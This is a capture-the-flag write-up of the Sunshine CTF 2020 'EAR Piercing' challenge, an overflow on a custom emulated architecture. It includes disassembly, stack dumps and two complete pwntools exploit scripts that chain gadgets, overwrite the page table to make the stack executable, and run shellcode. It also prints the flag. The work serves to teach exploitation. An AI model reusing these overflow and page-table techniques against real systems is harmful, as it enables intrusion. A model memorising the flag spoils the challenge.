# Sunshine CTF 2020 - EAR Piercing
#### - Category: Pegasus #### - Points: 500 Pts#### - Solves: 1
### Background
The Pegasus category was a scattering of challenges all relating to a custom Architecture that was created by the Authors. I won't go into how the architecture works or what is different besides what is needed, this is the hardest challenge of the bunch and as such there are probably other writeups along with the documentation if the reader is interested in further analysis. 
This challenge released with around 12 hours left in the competition along with a "bof.peg" and  "peg_pwn_checker.so" file, the peg_pwn_checker.so file opens the flag and puts the data into the 15th channel to read from when the challenger has an ability to do so, and will send any channel data to the user when written to, when the challenge first released I ran into problems of running this checker correctly in my environment and ended up modifying a previous checker that would only send data from channel 0 to the user, this only really affects the final shellcode, but my approach... while convoluted, ended up sending to channel 0 anyways.
I will walk through my approach on exploitation and discuss why possibly looking at the documentation longer would be more beneficial as after the competition I was informed of a much easier method to get execution.
### Bof.peg
Using the runpeg file, I was able to use the debugger ability to dump the entire assembly:
```read:0100.0000: MOV     R4, ZERO0102.0000: MOV     R6, ZERO0104.0000: BRR     0x1A0107.0000: CMP     R5,  0xA010B.0000: STB.EQ  [RV], R6010D.0000: BRR.EQ  0x1B0110.0000: MOV     R4, R40112.0000: BRR.EQ  0x80115.0000: ORR     R6, 0x800119.0000: STB     [RV], R6011B.0000: INC     RV, 1011D.0000: MOV     R6, R5011F.0000: INC     R4, 10121.0000: RDB     R5, (0)0123.0000: BRR.LT  0xFFE10126.0000: MOV     RV, R50128.0000: BRR     0x2012B.0000: MOV     RV, R4012D.0000: BRA     RD, RAprint:012F.0000: MOV     RV, RV0131.0000: BRA.EQ  RD, RA0133.0000: MOV     R5, 0x7F0137.0000: LDB     R3, [RV]0139.0000: INC     RV, 1013B.0000: AND     R4, R3, R5013E.0000: WRB     (0), R40140.0000: CMP     R3,  R40142.0000: BRR.GT  0xFFF20145.0000: BRA     RD, RA
Extra:0147.0000: PSH     {RA-RD}014A.0000: PSH     RV, {R3-R7}014E.0000: POP     {PC-DPC}login:0151.0000: PSH     {R3-R8, RA-RD}0154.0000: MOV     FP, SP0156.0000: SUB     SP, 0x32015A.0000: MOV     R8, RV015C.0000: ADD     RV, PC, 0x51 //load string0161.0000: FCR     0xFFCB0164.0000: MOV     RV, R80166.0000: FCR     0xFFC6 //print0169.0000: WRB     (0), 0x3A016C.0000: WRB     (0), 0x20016F.0000: MOV     RV, SP0171.0000: FCR     0xFF8C //read20174.0000: ADD     RV, PC, 0x4C0179.0000: FCR     0xFFB3017C.0000: MOV     RV, ZERO017E.0000: MOV     SP, FP0180.0000: POP     {R3-R8, PC-DPC}main:0183.0000: SUB     SP, 0x320187.0000: ADD     RV, PC, 0x16 //first string018C.0000: FCR     0xFFA0 //print018F.0000: MOV     RV, SP0191.0000: FCR     0xFF6C //read0194.0000: MOV     RV, SP0196.0000: FCR     0xFFB8 //login, prints second string and reads data again0199.0000: ADD     RV, PC, 0x27 // other string019E.0000: FCR     0xFF8E01A1.0000: HLT```
Above we can see the control flow of the program, a string is printed, the username is read into the stack, then in the login function the second string is printed with our username, then finally the password is read into the stack as well. These reads in the stack are a direct buffer overflow and with precision can cause a rop-ish chain to ensue at the end of login 
`0180.0000: POP     {R3-R8, PC-DPC}`
The only problem comes from how characters are interpreted in this system, in the read function you may notice the OR with 0x80, the end of a string is not determined by null bytes but by whether the last character in the string has the 0x80 on it or not, and when the data is read in up until the last character the 0x80 are added to the characters so a string like `TEST` becomes `\xd4\xc5\xd3T` in memory. Since this memory system is little endian though this still allows us to control the PC as the address 0x0180 and up can be used.
```fa80: 0000 0000 0000 0000 0000 e2e2 e2e2 e2e2  ................fa90: e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2  ................faa0: e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2  ................fab0: e2e2 e2e2 e2e2 e2e2 e2e2 e262 2000 3200  ...........b .2.fac0: 0a00 6100 2aea 0000 00fb 9901 0000 e1e1  ..a.*...........fad0: e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1  ................fae0: e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1  ................faf0: e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e161  ...............a```
In the hexdump above is what our stack looks like after the two writes, the 0xe2's are the character 'b' after the OR and the 0xe1 are 'a's. As you can see the last character in the string stays to delaminate the ending of a string. At byte location 0xfaca is where the pop PC and POP DPC would take place meaning DPC will remain zero if we carefully overwrite the PC counter. Now the question is how do you continue from here, some may notice that after the last two pops that the stack pointer still points at our username string, meaning if we jump back to another pop we can control a wide range of instructions. Problem with this is that we are still limited to the 0x80 problem, or are we.
Since the last character will be correctly set and our stack is essentially in the same location we started in, what happens if we jump back to 0x18f and go through both read operations again, but send in one less character on our username string?
```fa80: 0000 0000 0000 0000 0000 e2e2 e2e2 e2e2  ................fa90: e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2  ................faa0: e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2  ................fab0: e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2 e2e2  ................fac0: e2e2 e2e2 e2e2 e2e2 e2e2 8f01 0000 e1e1  ................fad0: e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1  ................fae0: e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1  ................faf0: e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 e1e1 6161  ..............aa```
We can see that we can effectively walk our way back character by character to send whatever characters we want onto the stack!
### Objective and Exploit
Now is a good time to talk about our objective and how we want to go about exploiting this binary, while in debug mode you can run the `vmmap` command to get a list of the loaded memory segments, in the documentation there is greater detail on how this is setup. What we care about is the fact that there are no pages that are both writeable and executable at the same time, to bypass this we will need to effectively overwrite the virtual page table  itself. This is always located at an offset of 0xfc00 and contains the information about the current virtual table, each 4 bytes corresponds to a page, with what the Readable page, Writeable page, Executable page, and Fault Page are by the byte value for each.
```$ vmmap0000-0100: R=00 W=00 X=00 fault=00000100-0200: R=12 W=00 X=12 fault=00000200-EA00: R=00 W=00 X=00 fault=0000EA00-EB00: R=00 W=00 X=00 fault=F000EB00-FB00: R=02 W=02 X=00 fault=0000FB00-FC00: R=00 W=00 X=00 fault=FB00FC00-FFFF: R=FC W=FC X=00 fault=0000$ hexdump R 0xfc00 16fc00: 0000 0000 1200 1200 0000 0000 0000 0000  ................
```
From the debugger we can confirm this, with vmmap showing that the addresses from 0x100 - 0x200 are located at page 0x12 and at 0xfc00 the second 4 byte range also points to the 0x12 page. This is important because if we can get an overwrite to this table we can possibly execute arbitrary shellcode.
This becomes a bit tricky as our input is always OR'ed with 0x80, but the stack points to the page at 0xfa00 which is actually loaded at the 0x11 page in physical memory, and we can send in the byte 0x11 if it's our only byte, this means our target has effectively become the overwrite of the virtual page table to have the stack become executable by it's own page.
There are two approaches to this 1 get an instruction that will store the byte from another register into that location, this could work since we essentially own a large number of registers, but I was unable to find a great instruction that would allow us to continue with our control from that point on. Second option is to jump right between these two instructions:
```018F.0000: MOV     RV, SP0191.0000: FCR     0xFF6C //read```
The read function uses the RV register, R2, to control where the data is being read into.
This is were I got stuck for a bit, I tried for the longest time to try to change SP to just point there then do this, but 1 any gadget that would actually pop into SP was lying... looking at you `0E.0000: POP.EQ  {FP-SP, PC-DPC}`. And yes I know that I was hitting it correctly even though it was a pop if equal, I was making sure it was equal, more on this later. 
After a long time searching I created this python script:
```pythonfrom pwn import *import time
p = process('./runpeg --plugin peg_rev_checker.so --debug ./bof.peg'.split())
for y in range(0x100, 0x1a1):    for x in range(0, 0x1a1):        p.sendline('disassemble 1 {} {}'.format(str(hex(y)),str(hex(x))))        p.readuntil(str(hex(x))[2:].upper())        t = p.readline().strip()        if "Execute" in t or "Failed" in t:            continue        print hex(y),hex(x),t```
This script brute force checks each address with the DPC value to find all hidden instructions as well, if you are wondering what the DPC actually does, my understanding is that a normal instruction will read byte by byte to figure out what the code stands for. Where the DPC can change that from byte to byte, to 2 bytes between each opcode, and so on. So after a quick brute force a lot of the instructions are useless except this jewel
`0x10e 0x20 : POP.EQ  {RV-R3, R6-R7, PC-DPC}`
So if the Zero flag is set we can effectively get straight control of RV! After some more looking I also found this instruction which allowed for an easy set of the Zero flag.
```014C.0000: RDB     ZERO, (0)014E.0000: POP     {PC-DPC}```
This instruction will read a byte from the user and store it in the Zero register which is essentially reading in the byte but don't do anything except update flags. Then we can just jump straight to this pop.equal instruction from there. After this pop we should be at the location 0x191 about to call the read function were the RV register equals 0xffea, sending in the 0x11 byte along should cause the page table to think the stack is now executable and since the control flow hasn't really changed, the login function should be called next with our stack pointer still being overwritable. Which we can store some shellcode into the stack from the initial write if we still have space which it is close, but we make it with 7characters to spare. Then we use one last overwrite to jump to our shellcode, which is shown below.
```@.top:	RDB R2, (0xf) 	WRB R2	BRR @.top```
Compiled down we get the bytes `\xf8\x2f\xf9\x02\xf5\xf9\xff, the one downside to this shellcode is that it will run forever once hit, but that does not matter too much. 
```$ vmmap0000-0100: R=00 W=00 X=00 fault=00000100-0200: R=12 W=00 X=12 fault=00000200-EA00: R=00 W=00 X=00 fault=0000EA00-EB00: R=00 W=00 X=00 fault=F000EB00-FA00: R=02 W=02 X=00 fault=0000FA00-FB00: R=11 W=11 X=11 fault=0000FB00-FC00: R=00 W=00 X=00 fault=FB00FC00-FFFF: R=FC W=FC X=00 fault=0000$ hexdump R 0xfaf2 8faf2: ecbf ceff ece6 0000                      ........```
Here we can see that our method works so far and was able to correctly setup the stack, virtual table, and shellcode. All that is left is to jump to the shellcode and enjoy our flag!
### Code
```pythonfrom pwn import *import time
context.log_level = 'error'
p = remote('chal.2020.sunshinectf.org',10004)
exploit1 = "ABCD" + 'a'*10 + '\x4c\x01\x00\x00'+'\x0e\x01\x20\x00' + '\xea\xff' + '\x00'*8 + '\x91\x01\x00\x00' + '\xf8\x2f\xf9\x02\xf5\xf9\xff' exploit = 'b'*64 + '\x8f\x01'
#get official bytes into the stackfor x in range(len(exploit1)-14):    print x    time.sleep(.1)    p.sendline(exploit1[:len(exploit1)-x])    p.sendlineafter('ABCD',exploit)    time.sleep(.1)
exploit = '\xff'*64 + '\x80\x01' #start the Ropish chainp.sendline(exploit1[:4])p.sendlineafter('ABCD',exploit)
time.sleep(.1)p.send('\x00') #Set Zero flag
time.sleep(.1)p.sendline('\x11') #overwrite the page tabletime.sleep(.1)
exploit ='\xff'*64 + '\xf2\xfa' # jump to shellcodep.sendline(exploit)p.readuntil('x/: Login success!\n')time.sleep(1)flag = p.readline()p.close()print "Enjoy your flag:",flag```
### Flag
`sun{wh47_4_ju1cy_4rch1t3c7ur3_4_pwn1ng!}`
### Notes and Second method
While the above code is better optimized, in my original exploit I failed to realize that the stack was located at page 0x11 and overwrote it with 0xfa, meaning I had to go through a bunch more work to actually write shellcode to the stack, best part is I got really confused when my stack instantly became all 0's after the overwrite and never thought a second about it. 
Second as I had mentioned earlier, my exploit became convoluted and there was a much easier approach sitting right in front of me the entire time.
```014A.0000: PSH     RV, {R3-R7}014E.0000: POP     {PC-DPC}```
The instruction I partially used to set the zero flag was actually a push into the RV register, which at most cases would be equal to zero. Upon the pushes RV underflows into 0xfff0, meaning we have an instant write straight into the virtual table, allowing us to jump to our shellcode much easier, or put shellcode into the 0xff00 page, below is an example of overwriting the 0xff page executable page to point to our stack address where our shellcode will still sit. From this method you get 10 bytes to write to at 0xfff6:
```$ hexdump R 0xfff6 10fff6: ffff ffff ffff ffff ffff                 ..........```
With the second most byte needing to be 0xff if you want to execute there, leaving you with around 7 bytes of shellcode, which could be a bit tight, and if you went in one attempt you would need to have shellcode that is only above 0x80, which I couldn't get anything working with the read and write primatives.
But here is a script that will change the 0xff page to point to the stack making it executable at address 0xff00 instead of 0xfa00
```from pwn import *import time
context.log_level = 'error'
p = remote('chal.2020.sunshinectf.org',10004)
exploit1 = "ABCD" + '\xff'*4 + '\x11\x11' + '\xff'*4 +'\x4a\x01\x00\x00' +'\xe4\xff\x00\x00'+'\xf8\x2f\xf9\x02\xf5\xf9\xff' exploit = 'a'*64 +'\x8f'
#get official bytes into the stackfor x in range(21):    print x    time.sleep(.1)    p.sendline(exploit1[:len(exploit1)-x])    p.sendlineafter('ABCD',exploit)    #p.interactive()    time.sleep(.1)
exploit = '\xff'*64 + '\x80\x01' #start the Ropish chainp.sendline('ABCD')p.sendlineafter('ABCD',exploit)#p.interactive()
p.readuntil('Login success!\n')time.sleep(1)flag = p.readline()p.close()print "Enjoy your flag:",flag```
